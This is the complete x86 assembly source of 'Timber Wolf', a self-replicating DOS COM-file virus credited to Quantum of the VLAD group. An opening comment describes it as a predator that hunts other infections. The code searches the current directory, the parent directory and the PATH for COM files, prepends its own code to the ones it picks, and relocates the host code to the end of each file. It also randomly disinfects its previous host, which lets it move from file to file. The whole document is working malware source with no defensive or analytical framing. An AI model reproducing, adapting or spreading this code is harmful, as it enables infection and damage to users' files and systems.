; ; "Timber Wolf" by Quantum / VLAD ; ; If you have a look at the animal kingdom, you can see two distinct groups ; of animals. There are the ones who hide and breed as much as they can ; with the idea that, the more offspring they have the more chance their ; species has for survival. And then there are the ones who hunt those that ; hide, outrun any would-be predators and have their offspring in large ; litters. Most virii fall into the first category. This virus falls ; into the second. ; ; It's a non-resident com infector that doesn't stay for long on the one ; executable. It jumps from com to com, hunting appending and prepending ; com infections. If it comes in contact with another one of its kind they ; will run together in a pack but still with an individual nature - randomly ; selecting whether to move and what to attack. ; vstart: mov si,offset retcode ; put the return code far mov di,0fcedh - (vend - vstart) - (vend - retcode) - 2 mov cx,(vend-retcode)/2+1 rep movsw genretcodeend: mov ax,[2ch] ; get the segment of the enviroment mov ds,ax xor si,si ; start at offset 0 loop1: lodsb ; look for a zero or al,al jnz loop1 lodsb ; followed by another zero or al,al jnz loop1 lodsw cmp ax,1 ; then a 1 and a zero jnz loop1 mov di,0fcf0h ; si now points to the arg 0 xor cx,cx ; count the num of bytes copied loop2: lodsb inc cx or al,al ; stop on a zero jz outty1 cmp al,"a" ; convert lowercase to uppercase jb noand cmp al,"z" ja noand and al,5fh noand: stosb ; copy byte jmp loop2 outty1: stosb ; dont forget the final zero push cs pop ds mov [0fcedh],cx ; store the num of bytes copied mov ah,1ah mov dx,0fdf0h ; set the dta int 21h mov ah,47h xor dx,dx mov si,0fcedh - (vend - vstart) - (vend - retcode) - 2 - 64 int 21h mov byte ptr [si-1],"\" in al,40h cmp al,53 ; one in 256 chance that we go dot dot regardless jz godadotdot cmp al,61 ; one in 256 chance that we infect the path jnz finddafirst mov ax,[2ch] mov es,ax mov al,"P" xor di,di findp: mov cx,0ffffh repne scasb ; search for a "P" mov si,offset ath mov cx,3 rep cmpsb ; next 3 bytes = "ATH" ? jnz findp mov al,";" push es pop ds lea dx,[di+1] ; dx = path 2 infect mov cx,0ffffh repne scasb ; search for a ";" mov byte ptr [di-1],0 ; replace with a zero mov ah,3bh ;int 21h ; change into that dir push cs push cs pop ds pop es finddafirst: mov ah,4eh xor cx,cx mov dx,offset fspec ; find first com int 21h isitkewl: jnc checkinfect godadotdot: mov ah,3bh mov dx,offset dotdot int 21h jnc finddafirst outtyout: mov ah,3bh mov dx,0fcedh - (vend - vstart) - (vend - retcode) - 2 - 64 - 1 int 21h ; change to original dir jmp 0fcedh - (vend - vstart) - (vend - retcode) - 2 ; outtie on error checkinfect: mov si,0fdf0h+1eh mov di,0fcedh-80h push di mov ah,60h int 21h ; generate fully qualified filename pop di mov si,0fcf0h mov dx,di mov cx,[0fcedh] rep cmpsb ; found file = arg 0 ? jnz infectit thatnogood: mov ah,4fh int 21h ; if so find next file jmp isitkewl infectit: in al,40h cmp al,23 ; random enough chance that we wont infect ja thatnogood cmp word ptr [0fdf0h + 1ah],vend-vstart ; found file big enough ? jb thatnogood cmp word ptr [0fdf0h + 1ah],0fcedh - (vend - vstart) - (vend - retcode) - 2 - 64 ja thatnogood ; found file too big ? mov ax,3d02h int 21h ; open in read/write mode xchg bx,ax mov ah,3fh mov cx,vend-vstart ; read in where the virus will go mov dx,0fcedh - (vend - vstart) int 21h call seeke ; goto end of file add ax,100h ; calculate where the host code will be mov [offset whereorgat],ax mov cx,vend - vstart ; write the host code to end of the file mov dx,0fcedh - (vend - vstart) call writefile call seeks ; back to the start of the file inc byte ptr [offset infectcount] cmp byte ptr [offset infectcount],15 jb nokillcount mov byte ptr [offset infectcount],0 nokillcount: mov cx,vend-vstart ; write out the virus code mov dx,0100h call writefile mov ah,3eh ; close file int 21h in al,40h and al,111b inc al cmp byte ptr [offset infectcount],al ja disinfect jmp outtyout ; back 2 host disinfect: mov ax,03d02h ; open arg 0 mov dx,0fcf0h int 21h xchg bx,ax mov dx,offset whereorgat-100h -1 ; goto "mov si,whereorgat" in our code call seek2dx mov ah,3fh ; read it in mov cx,3 mov dx,0fcedh - (vend - vstart) int 21h ; if the mov si, bit isn't there then we have been done by a prepending cmp byte ptr [0fcedh - (vend - vstart)],0beh jz continuedisinfect call seeke ; seek to the end of the file sub ax,genretcodeend-vstart ; sub off the size of the first bit of our code mov dx,ax call seek2dx ; seek to that pos readincode: mov ah,3fh ; read in the string mov cx,genretcodeend-vstart mov dx,0fcedh - (vend - vstart) + 3 mov si,dx push cx int 21h pop cx mov di,0100h ; is it our code ? rep cmpsb jz foundmycode call seekc ; no.. get the current position dec ax ; decrease by one mov dx,ax call seek2dx ; goto that pos or ax,ax ; if we're at the top of the file then all is not good jnz readincode ; fucking overwriting virus wasted our code!!!!!! mov ah,3eh ; let's just leave int 21h jmp outtyout foundmycode: ; we found the string mov ah,3fh ; read in the rest of the file mov cx,0ffffh mov dx,0fcedh - (vend - vstart) int 21h push ax ; back to the start of the file push dx call seeks pop dx pop cx call writefile ; write the code back continuedisinfect: ; continue the disinfection mov dx,[0fcedh - (vend - vstart) + 1] ; goto where da original code is at dec dh push dx call seek2dx mov ah,3fh ; read in the original host code mov cx,vend-vstart mov dx,0fcedh - (vend - vstart) + 3 int 21h call seeks ; back to the start of the file mov cx,vend-vstart ; write out the host code mov dx,0fcedh - (vend - vstart) + 3 call writefile pop dx call seek2dx ; back to the orginal EOF xor cx,cx ; cut off the rest of the file call writefile mov ah,3eh ; close the file int 21h jmp outtyout seek2dx: mov ax,04200h jmp seek1 seekc: mov ax,04201h jmp lseek seeks: mov ax,04200h jmp lseek seeke: mov ax,04202h lseek: xor dx,dx seek1: xor cx,cx int 21h ret writefile: mov ah,40h int 21h ret db "Timber Wolf by Quantum / VLAD",0 ath db "ATH" dotdot db "..",0 infectcount db 0 fspec db "*.com",0 retcode: db 0beh ; mov si, whereorgat dw offset orghost mov di,0100h push di mov cx,vend - vstart rep movsb ; move original code back to 100h ret ; jump there vend: ; host code orghost: int 20h